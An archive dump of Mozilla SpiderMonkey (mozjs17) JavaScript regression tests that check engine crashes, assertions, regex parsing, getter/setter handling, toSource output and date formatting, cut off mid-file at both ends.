enumerable: true, configurable: true }); uneval(this); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/browser.js0000664000175000017500000000000012106270663022275 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/extensions/regress-359024.js0000664000175000017500000000212112106270663023036 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 359024; var summary = 'Do not crash with Script...'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof Script == 'undefined') { print(expect = actual = 'Test skipped. Script object required.'); } else { var scri=new Script(" var s=new Date(); var a=0; for(var i=0;i<1024*1024;i++) {a=i } var e=new Date(); print('time2='+(e-s)/1000);"); scri.compile(); scri.exec(); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-351463-01.js0000664000175000017500000001134012106270663023256 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 351463; var summary = 'Treat hyphens as not special adjacent to CharacterClassEscapes in character classes'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var r; var s = 'a0- z'; r = '([\\d-\\s]+)'; expect = ['0- ', '0- '] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\s-\\d]+)'; expect = ['0- ', '0- '] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\D-\\s]+)'; expect = ['a', 'a'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\s-\\D]+)'; expect = ['a', 'a'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\d-\\S]+)'; expect = ['a0-', 'a0-'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\S-\\d]+)'; expect = ['a0-', 'a0-'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\D-\\S]+)'; expect = ['a0- z', 'a0- z'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\S-\\D]+)'; expect = ['a0- z', 'a0- z'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); // -- r = '([\\w-\\s]+)'; expect = ['a0- z', 'a0- z'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\s-\\w]+)'; expect = ['a0- z', 'a0- z'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\W-\\s]+)'; expect = ['- ', '- '] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\s-\\W]+)'; expect = ['- ', '- '] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\w-\\S]+)'; expect = ['a0-', 'a0-'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\S-\\w]+)'; expect = ['a0-', 'a0-'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\W-\\S]+)'; expect = ['a0- z', 'a0- z'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); r = '([\\S-\\W]+)'; expect = ['a0- z', 'a0- z'] + ''; actual = null; try { actual = new RegExp(r).exec(s) + ''; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")'); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-465145.js0000775000175000017500000000144412106270663023052 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465145; var summary = 'Do not crash with watched defined setter'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); this.__defineSetter__("x", function(){}); this.watch("x", function(){}); y = this; for (var z = 0; z < 2; ++z) { x = y }; this.__defineSetter__("x", function(){}); for (var z = 0; z < 2; ++z) { x = y }; jit(false); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-416460.js0000664000175000017500000000165012106270663023042 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 416460; var summary = 'Do not assert: SCOPE_GET_PROPERTY(OBJ_SCOPE(pobj), ATOM_TO_JSID(atom))'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); /a/.__proto__.__proto__ = { "2": 3 }; var b = /b/; b["2"]; b["2"]; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-366396.js0000664000175000017500000000122112106270663023050 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 366396; var summary = 'Do not assert !SPROP_HAS_STUB_GETTER on Setter with %='; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); this.__defineSetter__("x", function() {}); x %= 5; reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-375344.js0000664000175000017500000000163612106270663023053 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 375344; var summary = 'accessing prototype of DOM objects should throw catchable error'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); if (typeof HTMLElement != 'undefined') { expect = /Exception/; try { print(HTMLElement.prototype.nodeName); } catch(ex) { actual = ex + ''; print(actual); } reportMatch(expect, actual, summary); } else { expect = actual = 'Test can only run in a Gecko 1.9 browser or later.'; print(actual); reportCompare(expect, actual, summary); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-367589.js0000664000175000017500000000261112106270663023061 0ustar sstanglsstangl// |reftest| skip-if(xulRuntime.OS=="WINNT"&&isDebugBuild) slow /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 367589; var summary = 'Do not assert !SPROP_HAS_STUB_SETTER(sprop) || (sprop->attrs & JSPROP_GETTER)'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof window != 'undefined') { gDelayTestDriverEnd = true; document.write(''); window.addEventListener('load', crash, false); } else { reportCompare(expect, actual, summary); } exitFunc ('test'); } function crash() { document.getElementById('button').click(); setTimeout(checkCrash, 0); } function checkCrash() { gDelayTestDriverEnd = false; reportCompare(expect, actual, summary); jsTestDriverEnd(); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-414755.js0000664000175000017500000000223712106270663023051 0ustar sstanglsstangl// |reftest| skip-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 414755; var summary = 'GC hazard due to missing SAVE_SP_AND_PC'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f() { var a = 1e10; var b = 2e10; var c = 3e10; return (a*2) * ((b*2) * c); } if (typeof gczeal == 'function') { expect = f(); gczeal(2); actual = f(); } else { expect = actual = 'Test requires gczeal, skipped.'; } if (typeof gczeal == 'function') { gczeal(0); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-422137.js0000664000175000017500000000205212106270663023035 0ustar sstanglsstangl// |reftest| require-or(debugMode,skip) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 422137; var summary = 'Do not assert or bogo OOM with debugger trap on JOF_CALL bytecode'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f() { return a(); } if (typeof trap == 'function' && typeof setDebug == 'function') { setDebug(true); trap(f, 0, "print('trap')"); } f + ''; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-367501-04.js0000664000175000017500000000171412106270663023265 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 367501; var summary = 'getter/setter crashes'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { expect = actual = 'No Crash'; var a = { set x(v) {} }; for (var i = 0; i < 0x10050c - 3; ++i) a[i] = 1; a.x; typeof a.x; } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-367501-03.js0000664000175000017500000000170612106270663023265 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 367501; var summary = 'getter/setter crashes'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { expect = actual = 'No Crash'; var a = { set x(v) {} }; for (var i = 0; i < 0x4bf20 - 3; ++i) a[i] = 1; a.x; a.x.x; } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-369696-02.js0000775000175000017500000000264612106270663023314 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 369696; var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function fun() {} n = fun.prototype; n.__defineGetter__("prototype", n.toSource); p = n.__lookupGetter__("prototype"); n = p; assertEq(n, Object.prototype.toSource); assertEq(p, Object.prototype.toSource); n["prototype"] = [n]; n = p; assertEq(n, Object.prototype.toSource); assertEq(p, Object.prototype.toSource); p2 = n["prototype"]; assertEq(Array.isArray(p2), true); assertEq(p2[0], Object.prototype.toSource); n = p2; assertEq(n.toString, Array.prototype.toString); n.__defineGetter__("0", n.toString); n = p; assertEq(n, Object.prototype.toSource); n.call(this); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-355655.js0000664000175000017500000000216212106270663023051 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 355655; var summary = 'running script can be recompiled'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof Script == 'undefined') { print('Test skipped. Script not defined.'); } else { expect = 'TypeError: cannot compile over a script that is currently executing'; actual = ''; try { t='1';s=Script('s.compile(t);print(t);');s(); } catch(ex) { actual = ex + ''; } } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-366292.js0000664000175000017500000000123012106270663023043 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 366292; var summary = '__defineSetter__ and JSPROP_SHARED regression'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); expect = 'undefined'; this.__defineSetter__("x", function(){}); actual = String(x); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-306738.js0000664000175000017500000000126512106270663023052 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 306738; var summary = 'uneval() on objects with getter or setter'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); actual = uneval( { get foo() { return "foo"; } }); expect = '({get foo() {return "foo";}})'; compareSource(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-226078.js0000664000175000017500000000151112106270663023042 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 226078; var summary = 'Do not Crash @ js_Interpret 3127f864'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); function SetLangHead(l){ with(p){ for(var i=0 in x) if(getElementById("TxtH"+i)!=undefined) printStatus('huh'); } } x=[0,1,2,3]; p={getElementById: function (id){printStatus(uneval(this), id); return undefined;}}; SetLangHead(1); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-338804-03.js0000664000175000017500000000147512106270663023274 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 338804; var summary = 'GC hazards in constructor functions'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); if (typeof Script != 'undefined') { Script({ toString: fillHeap }); } RegExp({ toString: fillHeap }); function fillHeap() { if (typeof gc == 'function') gc(); var x = 1, tmp; for (var i = 0; i != 50000; ++i) { tmp = x / 3; } } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-336410-2.js0000664000175000017500000000256512106270663023203 0ustar sstanglsstangl// |reftest| skip-if(!xulRuntime.shell&&((isDebugBuild&&xulRuntime.OS=="Linux")||Android||xulRuntime.XPCOMABI.match(/x86_64/)||xulRuntime.OS=="WINNT")) silentfail slow -- can fail silently due to out of memory, bug 621348 - timeouts on slow debug Linux /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 336410; var summary = 'Integer overflow in array_toSource'; var actual = 'No Crash'; var expect = /(No Crash|InternalError: allocation size overflow)/; printBugNumber(BUGNUMBER); printStatus (summary); expectExitCode(0); expectExitCode(5); function createString(n) { var l = n*1024*1024; var r = 'r'; while (r.length < l) { r = r + r; } return r; } try { var n = 128; printStatus('Creating ' + n + 'M length string'); var r = createString(n); printStatus('Done. length = ' + r.length); printStatus('Creating array'); var o=[r, r, r, r, r, r, r, r, r]; printStatus('object.toSource()'); var rr = o.toSource(); printStatus('Done.'); } catch(ex) { actual = ex + ''; print(actual); } reportMatch(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-90596-001.js0000664000175000017500000001213612106270663023271 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Date: 28 August 2001 * * SUMMARY: A [DontEnum] prop, if overridden, should appear in toSource(). * See http://bugzilla.mozilla.org/show_bug.cgi?id=90596 * * NOTE: some inefficiencies in the test are made for the sake of readability. * Sorting properties alphabetically is done for definiteness in comparisons. */ //----------------------------------------------------------------------------- var UBound = 0; var BUGNUMBER = 90596; var summary = 'A [DontEnum] prop, if overridden, should appear in toSource()'; var cnCOMMA = ','; var cnLBRACE = '{'; var cnRBRACE = '}'; var cnLPAREN = '('; var cnRPAREN = ')'; var status = ''; var statusitems = []; var actual = ''; var actualvalues = []; var expect= ''; var expectedvalues = []; var obj = {}; status = inSection(1); obj = {toString:9}; actual = obj.toSource(); expect = '({toString:9})'; addThis(); status = inSection(2); obj = {hasOwnProperty:"Hi"}; actual = obj.toSource(); expect = '({hasOwnProperty:"Hi"})'; addThis(); status = inSection(3); obj = {toString:9, hasOwnProperty:"Hi"}; actual = obj.toSource(); expect = '({toString:9, hasOwnProperty:"Hi"})'; addThis(); status = inSection(4); obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}; actual = obj.toSource(); expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})'; addThis(); // TRY THE SAME THING IN EVAL CODE var s = ''; status = inSection(5); s = 'obj = {toString:9}'; eval(s); actual = obj.toSource(); expect = '({toString:9})'; addThis(); status = inSection(6); s = 'obj = {hasOwnProperty:"Hi"}'; eval(s); actual = obj.toSource(); expect = '({hasOwnProperty:"Hi"})'; addThis(); status = inSection(7); s = 'obj = {toString:9, hasOwnProperty:"Hi"}'; eval(s); actual = obj.toSource(); expect = '({toString:9, hasOwnProperty:"Hi"})'; addThis(); status = inSection(8); s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}'; eval(s); actual = obj.toSource(); expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})'; addThis(); // TRY THE SAME THING IN FUNCTION CODE function A() { status = inSection(9); var s = 'obj = {toString:9}'; eval(s); actual = obj.toSource(); expect = '({toString:9})'; addThis(); } A(); function B() { status = inSection(10); var s = 'obj = {hasOwnProperty:"Hi"}'; eval(s); actual = obj.toSource(); expect = '({hasOwnProperty:"Hi"})'; addThis(); } B(); function C() { status = inSection(11); var s = 'obj = {toString:9, hasOwnProperty:"Hi"}'; eval(s); actual = obj.toSource(); expect = '({toString:9, hasOwnProperty:"Hi"})'; addThis(); } C(); function D() { status = inSection(12); var s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}'; eval(s); actual = obj.toSource(); expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})'; addThis(); } D(); //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- /* * Sort properties alphabetically - */ function addThis() { statusitems[UBound] = status; actualvalues[UBound] = sortThis(actual); expectedvalues[UBound] = sortThis(expect); UBound++; } /* * Takes string of form '({"c", "b", "a", 2})' and returns '({"a","b","c",2})' */ function sortThis(sList) { sList = compactThis(sList); sList = stripParens(sList); sList = stripBraces(sList); var arr = sList.split(cnCOMMA); arr = arr.sort(); var ret = String(arr); ret = addBraces(ret); ret = addParens(ret); return ret; } /* * Strips out any whitespace from the text - */ function compactThis(text) { var charCode = 0; var ret = ''; for (var i=0; i 0) ? ' 4' : ' 5'; actual = date.toLocaleFormat('%e'); reportCompare(expect, actual, 'Date.toLocaleFormat("%e")'); expect = date.toLocaleFormat('%Y-%m-%d'); actual = date.toLocaleFormat('%F'); reportCompare(expect, actual, 'Date.toLocaleFormat("%Y-%m-%d") == ' + 'Date.toLocaleFormat("%F")'); expect = '05'; actual = date.toLocaleFormat('%g'); reportCompare(expect, actual, 'Date.toLocaleFormat("%g")'); expect = '2005'; actual = date.toLocaleFormat('%G'); reportCompare(expect, actual, 'Date.toLocaleFormat("%G")'); expect = date.toLocaleFormat('%b'); actual = date.toLocaleFormat('%h'); reportCompare(expect, actual, 'Date.toLocaleFormat("%b") == ' + 'Date.toLocaleFormat("%h")'); expect = '\n'; actual = date.toLocaleFormat('%n'); reportCompare(expect, actual, 'Date.toLocaleFormat("%n") == "\\n"'); expect = date.toLocaleFormat('%I:%M:%S %p'); actual = date.toLocaleFormat('%r'); reportCompare(expect, actual, 'Date.toLocaleFormat("%I:%M:%S %p") == ' + 'Date.toLocaleFormat("%r")'); expect = date.toLocaleFormat('%H:%M'); actual = date.toLocaleFormat('%R'); reportCompare(expect, actual, 'Date.toLocaleFormat("%H:%M") == ' + 'Date.toLocaleFormat("%R")'); expect = '\t'; actual = date.toLocaleFormat('%t'); reportCompare(expect, actual, 'Date.toLocaleFormat("%t") == "\\t"'); expect = date.toLocaleFormat('%H:%M:%S'); actual = date.toLocaleFormat('%T'); reportCompare(expect, actual, 'Date.toLocaleFormat("%H:%M:%S") == ' + 'Date.toLocaleFormat("%T")'); expect = String(6 + ((date.getTimezoneOffset() > 0) ? 0 : 1)); actual = date.toLocaleFormat('%u'); reportCompare(expect, actual, 'Date.toLocaleFormat("%u")'); expect = '22'; actual = date.toLocaleFormat('%V'); reportCompare(expect, actual, 'Date.toLocaleFormat("%V")'); print('Note: For Date.toLocaleFormat("%m/%d/%y") == Date.toLocaleFormat("%x") ' + 'to pass in Windows, the Regional Setting for the short date must be ' + 'set to mm/dd/yyyy'); expect = date.toLocaleFormat('%m/%d/%Y'); actual = date.toLocaleFormat('%x'); reportCompare(expect, actual, 'Date.toLocaleFormat("%m/%d/%Y") == ' + 'Date.toLocaleFormat("%x")'); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-291213.js0000664000175000017500000000271712106270663023044 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 291213; var summary = 'Do not crash in args_resolve enumerating |arguments|'; var actual = 'No Crash'; var expect = 'No Crash'; var scriptCode = "var result = \"\" + arguments; " + "for (i in arguments) " + "result += \"\\\n \" + i + \" \" + arguments[i]; result;"; var scripts = {}; if (typeof Script == 'undefined') { print('Test skipped. Script not defined.'); } else { scripts["A"] = new Script(scriptCode); scripts["B"] = (function() { return new Script(scriptCode); })(); scripts["C"] = (function() { function x() { "a"; } return new Script(scriptCode); })(); // any Object (window, document, new Array(), ...) var anyObj = new Object(); scripts["D"] = (function() { function x() { anyObj; } return new Script(scriptCode); })(); var result; for (var i in scripts) { try { result = scripts[i].exec(); } catch (e) { result = e; } printStatus(i + ") " + result); } } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-454142.js0000664000175000017500000000142612106270663023042 0ustar sstanglsstangl// |reftest| skip-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 454142; var summary = 'Do not crash with gczeal, setter, watch'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); this.watch("x", function(){}); delete x; if (typeof gczeal == 'function') { gczeal(2); } this.__defineSetter__("x", function(){}); if (typeof gczeal == 'function') { gczeal(0); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/catchguard-001.js0000664000175000017500000000222212106270663023225 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ test(); function test() { enterFunc ("test"); var EXCEPTION_DATA = "String exception"; var e = "foo"; var caught = false; printStatus ("Basic catchguard test."); try { throw EXCEPTION_DATA; } catch (e if true) { caught = true; e = "this change should not propagate outside of this scope"; } catch (e if false) { reportCompare('PASS', 'FAIL', "Catch block (e if false) should not have executed."); } catch (e) { reportCompare('PASS', 'FAIL', "Catch block (e) should not have executed."); } if (!caught) reportCompare('PASS', 'FAIL', "Exception was never caught."); if (e != "foo") reportCompare('PASS', 'FAIL', "Exception data modified inside catch() scope should " + "not be visible in the function scope (e = '" + e + "'.)"); reportCompare('PASS', 'PASS', ''); exitFunc ("test"); } mozjs17.0.0/js/src/tests/js1_5/extensions/getset-006.js0000664000175000017500000001124412106270663022424 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Date: 14 April 2001 * * SUMMARY: Testing obj.__lookupGetter__(), obj.__lookupSetter__() * See http://bugzilla.mozilla.org/show_bug.cgi?id=71992 * * Brendan: "I see no need to provide more than the minimum: * o.__lookupGetter__('p') returns the getter function for o.p, * or undefined if o.p has no getter. Users can wrap and layer." */ //----------------------------------------------------------------------------- var UBound = 0; var BUGNUMBER = 71992; var summary = 'Testing obj.__lookupGetter__(), obj.__lookupSetter__()'; var statprefix = 'Status: '; var status = ''; var 